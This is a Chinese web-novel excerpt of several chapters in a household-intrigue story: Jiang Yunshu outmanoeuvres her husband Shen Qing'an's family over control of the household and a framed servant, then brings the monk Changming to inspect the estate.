原本,姜云舒还想着准备一些京城特产派人给老家送去,以表心意,但老太太却拦了下来,当时理由牵强模糊,但姜云舒见老太太态度强硬,便也没再坚持。 联想着岩城崔家三年前药材发家,整条线似乎便能连起来了。 这些年,崔家仗着沈清安的官威在岩城发了家,而崔家又以银钱供养着沈清安和沈府,顺带还帮沈清安照顾妻儿,不得不说,沈清安真是下得好大一盘棋。 “更有意思的是……” 裴钰瞧着姜云舒的表情,接着说:“冥风那边也传来了消息,我们的药材商队在路上还遇到了同样一队朝京城来的药商,他认出了那队药商的护队,是岩城七星镖局的赵一刀,还有几个打扮成镖师的随行,看体态动作,像是军营里出来的。” 岩城,又是岩城,区区三年,沈清安倒是在岩城有了根基。 “看来,你那相公在岩城的这三年,忙得很呢。”裴钰往姜云舒跟前凑了凑,“这般欺人太甚,要不要本世子给你撑腰,给他沈家拆了?” “我也去!”月禾紧接着回应。 姜云舒扭头,瞧着两人雄纠纠气昂昂的模样,忍不住伸手扶额。 “这里是京城,又不是北域。”姜云舒伸手将月禾拽回来,又朝裴钰翻了翻眼皮,“还有你,堂堂国公府世子怎么跟个土匪似的!” “那咋了,难不成就吃了这闷亏?”裴钰不服。 “你瞧着我像吃亏的人?” 姜云舒给他个白眼,吩咐道:“我们那批药材抵京后不必进城,全部存放在城郊庄园的小仓库。” “小姐要给岩城的商队让地儿?”月禾不解。 初春疾病多发,如今正是药材消耗大的时候,自家药材不进城,岂不是把机会给了那岩城药商? “我调药材进京,是因为提早知道锦城灾民正涌往京城,而此刻,同样批量的药材自岩城运来,你猜沈清安想做什么?”姜云舒接的是月禾的话,却看向裴钰。 “这批药材的数量,足够开十家药铺,这沈清安做事谨慎,没有试点不可能一口气开这么多,那便是京城有人定了这批药材,如此看来,他背后还有人,若他军队那几个镖师真出自军营……” 裴钰骤然蹙眉,似是突然想通了什么,抬头看姜云舒,“我怀疑他……” 姜云舒迎着他的视线,点点头,与他的猜想不谋而合。 “定国将军府的案子与他是否有关联,需等查了才知道。”她这样说,却下意识捏紧了拳头,“若果真是我引狼入室,那我便更要给父兄一个交代!” 此刻,裴钰和月禾面上也多了几分凝重之色。 沈府。 此刻,老夫人还在前厅喝茶,巴巴地等着两人带好消息,谁知,两人灰头土脸地进了门。 “怎么样啊?”老夫人问。 沈清安没好气地叹了一声,将当日在白府发生的事说了一遍,当然,保留了他和高芝兰赶人和抢归心丸那段。 “您早知道姜云舒为长元求学做了铺垫,怎么也不跟我们说一声,如今我和芝兰被打了个措手不及,事情怕是不成了!” 老夫人明显听出儿子言语之间的嗔怪,脸色也落了下来。 “家中一应事务本就是姜云舒操持,她为长元铺垫也并非事事向我汇报,更何况,我这般岁数,你还指望我给你当诸葛亮?倒是你们夫妇,刚到家便迫不及待动手,又何时与我商量过?” 一句话,呛得沈清安和高芝兰脸色又白了几分,见气氛凝重,高芝兰扯了扯嘴角赔笑。 “说起来,二郎到底是御前之人,我听说,若非重大贡献,能在皇上跟前守卫的都是有身份背景的,要不母亲问问二郎,或许还能有出路。” 回来之后几番交谈,高芝兰明显感觉出,她这个原配嫂嫂在沈清睿面前分量明显不及从前,这话不如让老夫人说。 “哼,他那么榆木脑袋,能结交什么权贵!” 提起沈清睿,老夫人更是气不打一处来,她早就让沈清睿趁机结交家世好的,结果他说只需恪尽职守,其他不必多想,她这个当娘的在沈清睿面前,都不及姜云舒面子大。 “那可怎么办才好?”高芝兰着急了。 若是早知道事情会到这一步,她说什么都不会跟姜云舒置这口气啊! 可明明是罪臣之女,凭什么,她姜云舒凭什么还能在老太傅面前这般得脸! 越想越是气愤,越气愤便越不甘心。 高芝兰看向沈清安,看似委屈地扯了扯他的衣袖。 “相公……” “我再想想,办法总是有的。”沈清安皱了皱眉。 或许,去求那位大人,还能有希望。 老夫人在一旁瞧着两人表情,思量之间,开口。 “左右皇上要下月才出皇陵,你们着什么急?如今看来,姜家虽败,但姜云舒在京城的确还有几分人际关系,说不定日后还有用到她的时候,你们也没必要闹得太僵。” 说着,抬头看高芝兰一眼,又道:“你也不必不甘心,京城之中哪个官员后宅没有几房妾室?你的正室身份迟早还给你,如今要紧的是将中馈拿回来,先把她手里的权利散了才是正经。” 第16章 肠子都悔青了 “母亲的意思是……”高芝兰眸光一亮,脸上带了喜色,下意识看向沈清安。 沈清安蹙眉思量之后点点头,倒也认同老夫人的意思。 “母亲说得没错,有些事情要提早准备,将中馈要回才方便部署。” 他后面要做的事,的确不能让姜云舒插手,如今最好的安排便是,姜云舒安分守己地在沈家过她的日子,其他无需她多管。 听沈清安也同意,高芝兰原本沮丧的脸上又倏然多了几分得意。 看吧,这个家里有婆母和相公撑腰,区区姜云舒拿什么和她比? 老夫人也悠然端起杯盏,一边品着,暗自也在盘算着。 和姜云舒不同,高芝兰性子柔和,向来以她为尊,如今中馈要回来,她自是要亲自掌管,好不容易当了婆母却被姜云舒压制,如今她可得好散一散这口憋闷的气。 傍晚。 夕阳如霞,映山的红色在湖中倒影,仿若天地作画,美不胜收。 姜云舒的马车缓缓停在沈府门口,刚下马车,便有丫鬟迎了出来。 “夫人,老太太请您到了便去福寿园。”丫鬟是老太太院子里的吉祥,说话间,她目光扫过四周,又低声提醒一句, “大人和高氏也在。” 说完,又低下头,让人看不出任何异常。 倒不是吉祥于主不忠,只是主仆之间没了情分,便只剩听吩咐办差事。 当年,吉祥随老太太出门时,偶遇尚书家嫡次子曹勋,见吉祥生得貌美,曹勋色胆包天,当即就要将她带走。 老太太知尚书府高官显贵,非但不阻拦,还警告吉祥莫要惹怒了那纨绔,连累沈府,当时吉祥心如死灰,险些自戕,幸得姜云舒出手,这才将她救了回来。 卖身为奴,吉祥自是不敢对老太太心生怨怼,可失望亦是在所难免,相比之下,对姜云舒更是多了几分感恩。 “无妨,走吧。” 姜云舒应声,随着吉祥往老太太的福寿园走去。 今日沈清安和高芝兰在尚书府闹了那么一通,若无声无息才稀奇。 尚未进院子,只觉气氛沉闷,待进门,众人的视线瞬时落在姜云舒身上。 “姜氏,你还当你是不是沈家人!” 老夫人先发制人,冷着脸开口,“就算长元不是你亲生,可到底是沈家的孩子,你为何要毁他前途!” 姜云舒脚步站稳,视线在沈清安和高芝兰脸上扫过。 沈清安一贯严肃沉冷,有种即便理亏气也壮的错觉,高芝兰倒是真心虚,垂着眸子掩饰神情。 “沈大人和高夫人,就是这么跟老夫人汇报的?” 唇角嘲讽难掩,迎着老夫人的怒意,“我不用再提,您大概也知道,原本我给长元安排的便是拜白老太傅门下,今日老太傅过寿,我备了重礼前往,若无意外,今日或可敲定,可是……” 她的视线再次扫过沈清安和高芝兰,“沈大人唯恐被我姜氏拖累,甚至要动用赤羽卫赶我回来将我从白府赶走,高夫人更是趁机抢了我所备的贺礼,妄想贪天之功,我自可大度不与你们计较,可你们却忘了老太傅性情耿直,你们所做恰好犯了他的禁忌,这才将事情至于绝地,我非白家血缘儿女,如今已是无能为力,所以,沈大人和高夫人将这归于我要毁了长元前途?” 几句话说完,众人脸上神情各变,尤其是沈清安,原本阴郁的脸上更多了几分震惊。 “你今日去白府竟是……”他望向姜云舒,一时竟不知说什么。 今日他急迫让姜云舒离开,的确有担心因姜氏被人拿来做文章的原因,但最主要的是怕她从中搅局,阻止长元进崇文书院。 可万万没想到,她送那么贵重的归心丸,竟是为了长元。 明知长元是他和高兰芝所生,她还能做到如此,是他以小人之心度君子之腹了。 没想到,姜云舒竟真是爱惨了自己。 一时间,沈清安心中竟莫名生出一丝难得的怜惜和愧疚。 “我并非怪你,只是,你应该与我说明。”沈清安声音明显轻柔了许多。 高芝兰见沈清安这反应,捏着绢帕的手不由得拉扯住,心中更是多了几分阴寒。 论出身,相貌,涵养,气质,高芝兰一个平民出身,的确处处比不上姜云舒,可她有儿子,有能兴旺沈氏一族的命格,只凭这两点,她这一家主母的位置,姜云舒就抢不走。 原本,高兰芝是有这样的自信的,毕竟,每每提及姜云舒,沈清安脸色都难掩厌烦,可如今,他竟对姜云舒表露出了那样的表情。 这对于高芝兰来说,是一个危险的信号,这样下去可不行。 “是呢,若是一开始你便说明,相公也不会误会,虽说,以往沈家大小事务都是你做主,可如今相公回来了,你理应禀报才好。”高芝兰开口,说着,不着痕迹的扯了扯沈清安的衣袖。 姜云舒侧目看高芝兰,唇畔嘲讽更甚。 “所以,任你抢了我要送的寿礼,反而是我的错了?”她朝高芝兰摊开双手,“接下来,你还要想要什么,不如直说,我双手给你奉上!” “你……” 高芝兰被噎了个结实,张着嘴半晌,愣是没说出一句话来。 她接不上话,便将目光投向了老夫人。 老夫人一口茶刚入口,轻咳一声,身形往后仰了仰。 “好了,事情既已如此,争论对错还有什么意义,进崇文书院也不止老太傅这一条路。” 老夫人喝口茶清了清嗓子,看向沈清安,“你们不是说吏部侍郎家的大公子是崇文书院的监理么,我们有恩于他家,哪怕不是内院弟子,只要能进崇文书院也是好的。” 沈清安蹙眉,对于老夫人的话不置可否。 在老太傅府上,吏部侍郎的态度让他捉摸不透,即便再次登门,事情也不如之前容易办。 老夫人又看向姜云舒,“姜氏,你既真心为长元打算,老太傅这边或许还能有转机,过几日等他消了气,你再带些厚礼上门疏通疏通。” 姜云舒闻言,眉梢轻挑,她不应答,只看向沈清安。 第15章 赶出去 沈清安与她视线接触,原本蹙起的眉间更添了一道沟壑。 今日之事,姜云舒的确冤枉又委屈,是他和高芝兰太过急躁了。 衡量之下,沈清安沉了一口气,开口,“云舒,今日之事是我考虑不够周全,之后我定会补偿于你,也希望你以大局为重,长元毕竟在你身边教养三年,口口声声叫了你三年的‘母亲’。” 姜云舒捏着绢帕的手微微收紧,抬眸瞧见沈清安赔礼低头的姿态,心中却不免生出一股说不上来的复杂。 从前,定国将军府正得意之时,他也是这般姿态,不过那时的他看起来恳切又真诚,完全不似如今,即便是赔礼,可字字句句之间又夹带着胁迫。 可惜,她从来不吃这一套。 “老夫人和沈大人高抬我了,我一介罪臣之女,能力有限,如今已是尽力而为,长元聪慧伶俐,京城向来不缺名门书院,即便不是崇文书院,他若能潜心学习,日后必成大器,毕竟,虎父无犬子。” 简而言之两个字,没门! 几句话,将众人的嘴堵了个结实。 沈清安脸色比方才更加阴沉,可郁结归郁结,终究无话可说,当时老太傅话里拒绝的意思再直白不过。 甩下一众气结憋红脸的沈家人,姜云舒起身离开,刚出院门便听得里面传来一声杯盏落地摔碎的声音,她哼笑一声,径自迈出院门。 是夜,月朗星稀。 沈清睿执勤回来给老夫人请安时,沈清安和高芝兰也在,几个人脸色都沉着,进门听得几耳朵谈话,是在商议如何让姜云舒交出中馈。 “娘,大哥!” 沈清睿性子耿直,听及此便直接迈步进来,“大哥不在这三年,姜嫂嫂一边顾着娘,一边料理后院诸事,从未有过错,便是当初定国将军府出事,她亦是先顾着娘的身体,不曾离开,如今你们又何必咄咄逼人。” 沈家后宅,自是沈清安这个大哥说了算,可不管如何,他们这样急迫,难免有些忘恩负义。 众人议论声骤然停住,一时间,视线落在沈清睿脸上,略显尴尬。 沈清安是正儿八经读书考取功名,他光辉闪耀,便将沈清睿显得平庸无所长,沈家老夫人也下意识忽略这个小儿子,如今他突然开口,倒是然他们一时没反应过来。 片刻沉寂之后,沈清安先回应了一声冷笑。 “这些本就是她应受的,若不是当初姜兆霖以权压人,她姜云舒如何能进我沈家门。” 方才,姜云舒的得理不饶人让沈清安那一点微末的怜惜瞬间散了个干净,他怎么忘了,这个女人惯于嚣张跋扈,她做的这一切就是让沈家对她感恩戴德,否则,之前在太傅府上为何不立刻说明? 她就是故意的。 “你说……什么?”沈清睿不由得愣住。 当初,不是兄长去将军府求娶姜嫂嫂的么,如今为何是这般说辞? 正百思不得其解,又听高芝兰开口。 “二郎如今这样帮姜氏说话,看来这三年受她颇多照顾呢,到底是疏远了。” 一句话说得阴阳怪气之意再明显不过。 “大嫂,我不是那个意思!”沈清睿紧忙否认,可还不等他解释,又听老夫人一声冷哼。 “二郎这是习惯了听她差遣,耳根子都偏了!” 沈清睿一句话生生噎在了喉咙里,仿佛有股子浊气卡着,上不去下不来,难受至极。 如今这沈府,到底是大哥说了算,他做不得主。 拧着眉头憋闷片刻,沈清睿转身离开。 翌日,清晨。 暖阳淡薄了春季的凉意,明媚洒落天地之间,似召唤一般,唤醒万物。 姜云舒尚在睡梦之中,听得门外一阵杂乱的说话声。 “哎呀,月禾姐姐快放我进去吧,老夫人让姜夫人赶紧过去呢。” 是一个小丫鬟的声音。 “都说了,我们小姐还没起,就是天大的事儿,也得等着,你没听过吗,扰人清梦要天打雷劈的!” 月禾毫不相让,说着,将院门一关。 此刻姜云舒也醒了,朝门外喊了一声。 “月禾。” “哎!” 月禾在门外应一声,招呼着伺候的丫鬟一同开了门,这门刚一开,丫鬟的声音便传了进来。 “姜夫人,奴婢是福寿园的红杏,老夫人叫您尽快过去,有急事呢!” “管你急不急,等着!”月禾朝外面吼一声,随即招呼人侍奉姜云舒洗漱。 姜云舒被人扰梦的确心有不悦,她也不回答红杏,不紧不慢的洗漱梳妆妥帖才出来。 红杏紧忙迎上来。 “姜夫人……” 只一个字出口,冷不丁瞧见姜云舒面色冷沉,嘴边的话生生滞住。 明明,眼前这位姜夫人从未苛待过沈家后院任何一位下人,不,应该是比大多当家主母还要厚待下人,可她那一身肃冷的气质,让人不敢放肆逾越。 “你可知是什么事?”姜云舒问。 “奴婢不知,但是听小厮议论,外头管事抓了一个人。”红杏回答。 抓了一个人? 姜云舒蹙眉,一时间猜不出是什么人。 猜不出索性也不多想,跟着便去了福寿园。 自沈清安和高芝兰回来,姜云舒再来福寿园,每次气氛都凝重低沉,这次依旧不例外。 而且,一如她猜想,除了老夫人,沈清安和高芝兰也在。 此刻,高芝兰正给老夫人递茶,旁边沈清安坐着,皱着眉头似乎在思考什么。 高芝兰侍奉婆母,一大早过来请安伺候也算正常,沈清安倒是真闲,即便尚未见到皇上,可回京述职事务诸多,他却处处不缺席。 看来,今早这一场戏,是得有他才能唱起来的。 “请老夫人安。”抬脚进了门。 一句话将众人视线引过来,老夫人一口茶刚入口,当即站起身来。 “姜氏,你可真是对得起我对你的一片信任!” 劈头盖脸的一句话,带着震慑,若是寻常夫人,定然先跪地赔礼再喊冤解释,可这一招对姜云舒没用。 “老夫人这话,我听不懂。”姜云舒回道。 “你还装糊涂,来人,将那贼人给我带上来!”沈清安一声冷喝。 随着声音落地,立刻有两个小厮驾着一个五花大绑的男人进了院子,其中一人往那男人膝上踹了一脚,男人闷哼一声跪在地上。 姜云舒视线穿过珠帘看去,瞧见那人相貌,神色一沉。 第14章 看热闹 “你自己看看,这是不是你院子里的人!”老夫人冷声。 “他的确是我院外小厮,名叫郭攀。”姜云舒回答。 “承认就好!你院子里的人,携款私逃,被值夜家丁抓了个正着。”沈清安冷哼一声,“我将沈家后宅交给你,你就是这样管家的?” 这话出口,外面跪着的郭攀下意识挣扎起来。 “夫人,我没有,我没要逃跑,我跟管事告了假的!” 明明是个七尺汉子,此刻声音里除了急躁还带着委屈。 他真的是被冤枉的。 可话刚出口,旁边早已等着的管事上前就给了他一脚。 “胡说八道!你什么时候跟我告了假!”管事矢口否认,“就算你跟我告了假,为何偏偏晚上走?从你包裹里翻出来的,那可是一百两的银票,你区区一个小厮,一辈子都赚不来这么多银子,分明是偷的!” “那银子是夫人借给我的!”郭攀挣扎着辩解,“不是你帮我送来消息,说我娘急病……不是,赵大海,你算计我!” 话及此,郭攀突然反应过来,他被算计了。 “赵大海,我跟你无冤无仇,你为何要害我!”郭攀挣扎着要辨是非,却被几个小厮合理钳制住动弹不得,一双眼睛憋得通红。 姜云舒瞧着院中嘈乱,神情一如往常平淡沉静,只是眸色更多了一丝凉意。 方才郭攀一开口提及跟赵大海告假,姜云舒便明白了,他们算计的不是郭攀,而是她。 昨晚,从老夫人的福寿园回来不久,郭攀急匆匆来找她,说是家中老母急病要尽快回去。 郭攀为人忠厚老实,在揽芳院当值这三年,从未有过任何纰漏,如今见他神色匆匆眼眶泛红,姜云舒也没多想,便让月禾给他拿了一百两银票回去给老人看病。 倒不是姜云舒没有防范之心,她向来厚待下人,尤其这人还是她院子里的,加之郭攀家这位老人的确身子不大好,去年也曾闹过一场,郭攀花光了所有积蓄用好药才将母亲的命留住,如今再犯定然凶险倍增。 这一百两银票的意义在于,若能救,不至于让郭攀买不起好药,若救不回来,给老人风光大葬也算是尽了孝心。 却不想,她的办事周全倒让人拿来捏了短。 不愧是及第三甲之人,沈清安算计人还带迂回的。 “夫人,我是冤枉的,您知道我是冤枉,您救救我啊!”郭攀人实在嘴也笨,只瞪着猩红的用眼睛,不停地喊冤。 姜云舒自然知道他冤枉,可如今他们就是冲她来的,即便开口作证,也会被扣上包庇的帽子,这样的拉扯实在没有任何用处。 沈家众人视线在姜云舒脸上凝视,见她依旧神情未变,一时间拿不定主意 “人赃俱获,还敢狡辩,来人,将这刁奴拖出去杖责二十,送去京兆衙门!”老夫人突然大喝一声。 早就等在一旁的小厮早就准备好了杖刑的板子,当即按住郭攀就要打。 “住手。” 姜云舒终于开口,随即转向沈家众人,眸色冷凝,“我院子里的人犯错,我这个当主子的也有责任,所以,沈大人打算如何处置我?” 这不就是他们的目的嘛。 沈家这帮人跟她弯弯绕,她反而摆上明面,这样直白,倒是让沈清安和老夫人一时间愣住。 “你,你这是什么态度!”沈清安当即脸色一沉,“你掌管我沈府后宅中馈,出了纰漏自然是要与你问责,你若觉得委屈,不如交出中馈,自不必受这份委屈!” 呵,此刻倒是不再绕弯子,直说了。 姜云舒双手捏起了拳头,沈清安要回中馈,早在她的预料之中,却不想,他们竟这般迫不及待,尤其是老夫人,这三年的悉心照料和侍奉,真真是喂了狗。 不,不止对老夫人,她对沈家的付出,哪一样不是喂狗? 心口淤堵着一口气,姜云舒脸色却依旧没什么变化,扭头看向老太太,甚至依旧带着笑。 “老夫人,您也是这意思?” 这笑瞧得老夫人心虚,一时间眼神闪烁,下意识开口解释。 “你不要多想,我知道,这一家子里里外外事务繁忙,有纰漏在所难免,这样,大郎如今回来,你好好调养身子,为子嗣做准备才是,咱们女子,有子嗣傍身才踏实。” 这话,听起来句句为姜云舒着想,毕竟,如今她无娘家可依,只能母凭子贵才可在沈家站稳脚跟,可搪塞虚伪之下,不过是为强行要回中馈扯的由头。 原来竟不曾发现,沈家人吃相可真是有够难看的。 “老夫人这样说,我自无话可说,只是库房关系整个沈府,这钥匙是给您呢,还是给高氏?”她声音不大,却带着一股子冷飕飕的凉意。 姜云舒问这一句,让老夫人和高芝兰的眼睛里同时一亮,欲望再明显不过。 “我知道这几年你将沈家打理得很好,但芝兰到底是原配,这中馈迟早要交出来的,不过,芝兰刚回来,对府上诸事不甚清楚,待我一一与她交代清楚,再由她接手便是。”老夫人抢先接过话茬。 一句话,姜云舒瞬间有了判断。 老夫人虽拿着高芝兰这“原配”为由头,却并没有直接回答要将库房钥匙给高芝兰,这老太太是想自己掌控沈宅后院。 高芝兰的话没来得及出口,生生憋回去,脸色一瞬间阴沉,袖下双手缴着绢帕,她将表情隐藏的很好,却没逃过姜云舒那双如鹰隼一般锐利的眼睛。 姜云舒勾了勾唇角,开口,“既然老夫人开了口,我自是照办,不过,郭攀是我院子里的人,我的人,我要自己处置。” “你既开口,我自应允,来人,将这刁奴押去揽芳院。” 早知姜云舒性子并不软弱,老夫人原没想到她竟这般痛快就同意了,当即内心难掩兴奋,区区一个郭攀,自当不在话下。 郭攀似乎还没转过弯儿来,抬头见姜云舒朝他点头,虽愤愤不平,终究没再反抗,顺从地被带了出去。 待下人离开,姜云舒朝月禾吩咐一声,“月禾,去将库房钥匙拿来。” 第120章 这库房钥匙你得收下啊 此时沈清安正在床边侍奉,老夫人刚用过一些米粥,有了力气,便忍不住开口骂。 “这个混账的东西,竟让我糟了这么大罪,你说说,自你们回来,她让我受了多少苦?还福星,我看她就是克我!” “要不是因为她被批命……不对,等我好了,左右还得带她去崇光寺,请长明大师亲自给她批一批命格,看她到底是不是那旺夫的命格!” “上次给我用假药的事情也就算了,这一回,她是准备要的命啊!” 正说着,外面丫鬟通报一声,“姜夫人来了。” 老夫人一下子收了哭腔,朝着门口摆摆手。 “快,快让他进来。” 一进门,老夫人尚未开口,姜云舒几步走到老夫人跟前,双膝一曲,便跪在了跟前。 “当时情况紧急,我不得已对老夫人动了手,还请老夫人责罚!” 说着,月禾从身后走上前,将姜云舒提前准备好的鞭子送到了老夫人跟前。 “你——” 老夫人没想到姜云舒会这样郑重,当时震惊地直接坐了起来。 不是,这还让她怎么发作啊? 原本还想着,等姜云舒来,便趁着这个机会,从她这里得些好处,毕竟,她可是跟婆母动了手,可如今姜云舒这一跪,她之前盘算的小九九反而用不上了。 “你先起来说话。”老夫人没好气地抬抬手。 好不容易让姜云舒理亏,却又不能借题发挥,怎么想都觉着有点亏。 老夫人看看沈清安,沈清安又看向姜云舒,片刻,沉着声音开口。 “你到底是我沈家妇,日后做事需稳重一些,尤其,母亲年事已高,便是真的有什么邪祟上了身,你动的终究是母亲的肉体。” 真相是什么,在场众人都心知肚明,可明面上还要将这场戏圆了。 姜云舒垂眸听着沈清安的话,勾了勾唇。 “沈大人说得是,所以我才及时封住了老夫人的穴位,相比之下,沈大人更应该叮嘱高夫人,她看我不顺眼可以冲着我来,别对着老夫人来,她这身体,可撑不住几次毒了。” “你!” 沈清安当即眼睛一瞪,他下意识想反驳,“芝兰并不知道那妖道竟然让我们喝符茶。” “沈大人用不着跟我解释,你能给老夫人交代就行。” 姜云舒抬手接过吉祥送来的茶,盖子擦着茶盏边缘,发出“沙沙”的声音。 沈清安一张脸憋红,许是被姜云舒的话戳了肺管子,此时竟不敢看老夫人。 高芝兰被带去京兆府挨了二十板子,他以为便是给老夫人交代了,可他忘了,这二十板子是她诬陷主母的责罚,让老夫人喝符茶中毒的事情可还没抖出去呢。 “芝兰已经受到了惩罚,这件事也算过去了,日后莫要再提。”沈清安拧着眉头下命令一般。 不许再提,便是警告姜云舒,不要再将事情扩大。 自己那口气已经出了,姜云舒也懒得跟他们纠缠,她低头抿一口茶水,突然挑眉看沈清安。 “沈大人觉着,我与高夫人,谁更像煞星呢?” 她笑着,语调柔和,然而,这话出口,却让沈清安感觉后脊背发凉。 眼瞧着气氛凝重,老夫人朝姜云舒招招手。 “云舒,你过来。” 老夫人这个人倒是很容易看明白,她有事儿,或者得了好处的时候,都会叫姜云舒的名字,而非姜氏。 姜云舒闻言眉梢微动,放下杯盏,到老夫人床边。 “如今我与高氏,一个生病卧床,另一个身体伤着,也下不得床,我沈家后宅不能没个做主的,这库房钥匙,还是你来掌管吧。” 经历了这么些个事儿,老夫人似乎是明白过来了,沈家此时还需要姜云舒的人脉关系。 之前姜云舒交出中馈,再不理会沈家诸事,沈家便处处碰壁,有些事,便是凭大郎如今的身份,也是不行的,还是要姜云舒去办才能成。 说着,老夫人便命吉祥将早已经准备好的库房钥匙递了过来。 姜云舒垂眸看了那钥匙一眼,却没有接。 “沈家本就简单,诸事有沈管家操持,也算是有条不紊,只大事老夫人应允便可。” “你——” 老夫人没想到姜云舒竟然不接。 之前,将中馈收回来时,她和高芝兰可想尽了办法握在手里,她们眼里咬牙争抢的东西,送到姜云舒手里,人家却不稀罕! 老夫人一时没了主意,扭头看沈清安,沈清安这才开口。 “你是我沈家当家主母,这库房钥匙自然是要交给你的,更何况,如今母亲需要静养,不能被打扰。” 他说着,将吉祥手里的库房钥匙接过来,转手直接塞进了姜云舒手里。 这便是让姜云舒无从拒绝了。 姜云舒瞧着手里的钥匙,忍不住暗自哼笑一声,这一声“当家主母”若一开始就对她说,或许她被蒙在鼓里时,还能开心几日,可如今,她只觉讽刺。 “既如此,我便却之不恭了。” 她转手将钥匙丢给月禾,提及这次过来的正事儿。 “近日沈府多有不顺,老夫人和沈大人既将后院交给我,那我便做主,明日请长明大师过来看看宅院。”她说。 老夫人闻言,眸光一亮。 “你是说,请长明大师,亲自过来?” 长明大师是何等人物?那可是皇室之中才能请得的大师,若能亲自过来指点宅院,那可是多少高门府邸都羡慕不来的。 而且,庭院经过长明大师指点,往后定然能平安兴旺! “是,我昨日下山之前,已经与长明大师提过,老夫人若是同意,我明日清早便派人去接。”姜云舒道。 “同意,自然是同意的!”老夫人紧忙点点头。 沈清安站在旁边,视线定格在姜云舒脸上,眼底神情有种说不上来的微妙。 以前他竟然没有发现,姜云舒安静时的模样,透着一股恬静柔和,竟让他莫名舒缓。 之前见她对孩子还是挺喜欢的,如老夫人所说,若能让她留下一子作为依托,或许她也能踏踏实实身居后宅之中,为沈家谋划了吧。 【亲爱的读者,如果认为内容可以,记得加入书架哦,方便下次阅读~】 第121章 预判他的预判 翌日,天蒙蒙未亮,马车自沈家偏门离开,伴随着微星半点的晨光朝着崇光寺的方向飞奔而去。 姜云舒难得起这么一大早,坐在马车上还在哈欠连天。 月禾眼瞧着姜云舒迷迷瞪瞪靠着马车东倒西歪,抬手又给她身侧垫了一个软垫。 “虽说咱们自己也有打算,可一想着是为沈家做事,心里就不痛快。” 月禾扭头朝外面看一眼,瞧着东方尚未升起的日头,不情愿地撇撇嘴,“还要赶着沈清安上朝之前出门,想想就更憋闷了。” 姜云舒慵懒地掀了掀眼皮。 “咱们想趁这机会请长明大师帮忙查探,就得趁着沈清安不在家,其他不过是做做样子,你若是憋闷,等我们离开沈府之后,带上裴钰给它砸了都行,不过,做得隐蔽点,省得还要赔钱。” 说完,又闭上了眼睛。 沈清安这个人多疑,有些事情太光明正大反而没有作用,倒不如让他觉着有问题,提前防备,结果却是光明正大的,他自觉过于敏感,才能放松警惕。 月禾原本还噘着嘴,听姜云舒这样一说,眉心倏然舒展开来。 以后能让她出口气就行! 马车晃晃悠悠跑了半个时辰,到崇光寺时,长明大师正在大殿打坐诵经。 小沙弥见是姜云舒,连通报都没有,直接将人带了进去,这倒是让姜云舒有些诧异。 她提前也没跟长明大师说过要来呀。 “大师。” 姜云舒上前行礼,见长明大师没动,便径自过去,与他并排跪在佛珠跟前,双手合十。 她很少诵经,也不会念,就听着长明大师念,原本还以为会听得睡着,却不想,渐渐地心静下来,反而没了睡意。 大概过了一炷香的时间,长明大师才停下来,他摆摆手,便有小沙弥将提前准备的布袋拿出来。 “走吧。”长明大师说。 “嗯?”姜云舒顿了一下,歪着头看他,“您知道我来?知道我是为何而来?” 长明大师瞧了她一眼,回答,“昨日你称那老夫人是被邪祟上了身,上身没有,中毒却是有的,如今老夫人身体虚弱,家宅定不得安宁,那沈大人是个注重名声的,想来会请人入宅院查看,从昨日他的眼神之中能看得出,他是想将事情交给你。” 这话让姜云舒不由得挑起了眉毛。 昨日长明大师在给老夫人解毒时,她盯着沈清安看了半天戏,看出沈清安这一次对高芝兰的信任已经失了一半,对自己嘛,只看出有几分愧疚。 长明大师只是看了他一眼,却能预判出今日要发生的事,要不说人家是大师呢。 “这样说来,我算是拉大师下水了,您还愿意跟我去?”姜云舒又问。 姜云舒自知从小就是个骄傲的人,沈家这样对自己了,定然不可能再不计前嫌帮沈家办事,如今她亲自来请长明大师,必定是有目的的。 她在长明大师面前也从未隐藏过自己的小心机,就比如,昨日她带老夫人来崇光寺时,就明确跟长明大师说了,老夫人是邪祟上了身。 既然知道她另有算计,长明大师这个出家之人为何还要以身入局? 姜云舒凝着长明大师的脸,等待他的回答。 “你若是请贫僧前去沈宅看风水,看在我们的交情上,这一趟也替你跑得,你若是想借助贫僧之手,调查沈大人与定国将军府一案之间的联系,贫僧便是看在边境百姓的份儿上,也要为你跑这一趟。” 长明大师语气一如平常温和,一时间,竟让姜云舒有些恍惚。 自姜家流放,北夷边境驻军便由舞阳侯接管,军队重整,将领磨合,此时北夷趁机多次骚乱,安静了十几年的北夷边境又开始动乱。 站乱起,百姓流离失所,将士身死,枯骨英魂,最苦难的是家中的父母妻儿。 长明大师这番话,让姜云舒再无开口的余地。 “那便劳烦长明大师。”姜云舒神情之中也多了几分郑重。 又是半个时辰的马车颠簸,姜云舒众人回到沈家时,刚过卯时,此时沈清安在水利部当差,此时尚未回来。 老夫人知道姜云舒去请了长明大师,一早便派吉祥来门口迎接。 姜云舒便顺势带长明大师先去了老夫人的福寿园。 长明大师到底是僧人,老夫人一早便吩咐丫鬟和婆子退出去,以保长明大师来时,前院内没有人,只留沈管家在跟前听从吩咐。 沈家入京本就没几年,这院子还是姜云舒和沈清安定亲时买下,装潢摆置也都是新的,老夫人本就是相信神佛之人,也特意让风水先生来看过,并无不妥。 进了福寿园,长明大师在沈管家的带领下,四处看了一圈,视线落在老夫人卧房正后方的荷花池。 “水主财,置于侧方显活水,寓意财源滚滚,可至于住宅后方,或引主人身体抱恙。”长明大师道。 吉祥紧忙将长明大师的话传给老夫人,老夫人一听,说得是啊! 当初刚搬进这院子里就传来大郎被洪水冲走的消息,她一下子急火攻心厥过去,差点就死了,后来还是长明大师给治了病,又请了琥珀佛珠镇宅,这才缓过来。 在琥珀佛珠的镇宅之下,这一两年她都没生病,再后来,长元毁了琥珀佛珠,她就又开始病了,是了,肯定就是这个原因。 “去,告诉沈管家,今日就找人将池子给我挪地方!”老夫人下不了床,还在伸着手发号施令。 吉祥瞧着老夫人,抿了抿唇,紧忙出去传话。 沈家是四进的院子,除了前厅和老夫人那处,就是沈清安的书房和府上目前两位夫人的宅院。 沈管家得了高芝兰的示意,本要领着长明大师先去流芳院,却被月禾抬手拦住。 “男君乃一家之主,除了老夫人,便是沈大人的清竹园了,长明大师,请随我来。” 说着,月禾径自冲着沈管家走过去。 眼瞧着月禾避都不避让,直接要往他脚上踩,沈管家吓得脸色一白,来不及多想,紧忙让开路。 沈管家见拦不住,紧忙给旁边小厮使眼色,小厮趁着姜云舒没注意,转身往外跑。 有沈管家跟着,长明大师先是在院外转了一圈。 许是知道长明大师来,沈清安提前将那阵撤了,他做事倒也神秘,竟让人看不出丝毫破绽。 